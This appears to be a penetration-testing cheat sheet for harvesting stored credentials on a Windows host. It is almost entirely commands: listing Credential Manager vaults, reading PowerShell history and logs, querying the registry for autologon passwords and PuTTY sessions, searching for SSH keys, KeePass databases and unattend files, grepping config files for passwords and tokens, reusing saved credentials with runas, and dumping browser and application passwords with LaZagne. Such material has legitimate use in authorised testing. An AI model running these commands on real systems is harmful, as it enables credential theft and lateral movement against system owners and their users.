Recover Windows application, history and stored-credential artifacts

Stored credentials and PowerShell trails

CopyREM Stored credentials and PowerShell trails
cmdkey /list
vaultcmd /list
vaultcmd /listcreds:"Windows Credentials" /all

Stored credentials and PowerShell trails

Copy# Stored credentials and PowerShell trails
$history = (Get-PSReadLineOption).HistorySavePath
$history
Get-Content -LiteralPath $history -ErrorAction SilentlyContinue
Get-ItemProperty 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription' -ErrorAction SilentlyContinue
Get-ItemProperty 'HKCU:\Software\Policies\Microsoft\Windows\PowerShell\Transcription' -ErrorAction SilentlyContinue
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -ErrorAction SilentlyContinue |
  Where-Object Id -in 4103,4104 | Select-Object -First 50 TimeCreated,Id,Message

Targeted application/file/registry search

CopyREM Targeted application/file/registry search
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
dir /s /b C:\Windows\Panther\*unattend*.xml C:\Windows\System32\Sysprep\*.xml 2>nul
dir /s /b C:\Users\*.kdbx C:\Users\*.rdp C:\Users\id_rsa C:\Users\*.ppk 2>nul

Targeted application/file/registry search

Copy# Targeted application/file/registry search
Get-ChildItem C:\inetpub,C:\ProgramData,C:\Users -Recurse -File -ErrorAction SilentlyContinue |
  Where-Object { $_.Extension -in '.config','.xml','.ini','.txt','.ps1','.bat','.cmd','.yml','.yaml','.json' } |
  Select-String -Pattern 'password|passwd|secret|token|connectionString|user id=' -CaseSensitive:$false

Search from observed applications first. Classify every value by identity, format, scope and compatible service, then use the credential procedure.

Saved credential consumer

CopyREM Saved credential consumer
runas /savecred /user:DOMAIN\USER cmd.exe

Use only when cmdkey/context supports that identity and logon type. runas does not inherently bypass UAC; verify the resulting token with whoami /all.

LaZagne — recover application credentials in the current user's context

Use a reviewed Windows build after identifying the current user and installed applications. Start with the relevant family; run broader collection only when useful. User-protected stores depend on that user's profile/decryption context; system-protected stores can need an elevated token.

CopyREM LaZagne — recover application credentials in the current user's context
REM Browser-store leads for the current user
laZagne.exe browsers

REM Broader recovery, with a local text report
laZagne.exe all -oN

Read: preserve the reported application/account/source with each recovered value. Test a matching service using the credential procedure; a recovered application password is not automatically a domain password. Empty output can mean no supported store, inaccessible profile or failed decryption. Follow manual history/config/vault checks instead of assuming there are no credentials.

LaZagne — recover application credentials in the current user's context

Copy# LaZagne — recover application credentials in the current user's context
Get-ChildItem C:\Users,C:\ProgramData,C:\inetpub -File -Recurse -ErrorAction SilentlyContinue |
  Where-Object { $_.Name -match 'pass|cred|config|backup|unattend|\.env' }

# LaZagne — recover application credentials in the current user's context
Get-ChildItem C:\Users,C:\ProgramData,C:\inetpub -File -Recurse -ErrorAction SilentlyContinue |
  Where-Object { $_.Extension -in '.config','.xml','.ini','.txt','.ps1','.bat','.cmd' } |
  Select-String -Pattern 'password|passwd|secret|token|connectionString' -CaseSensitive:$false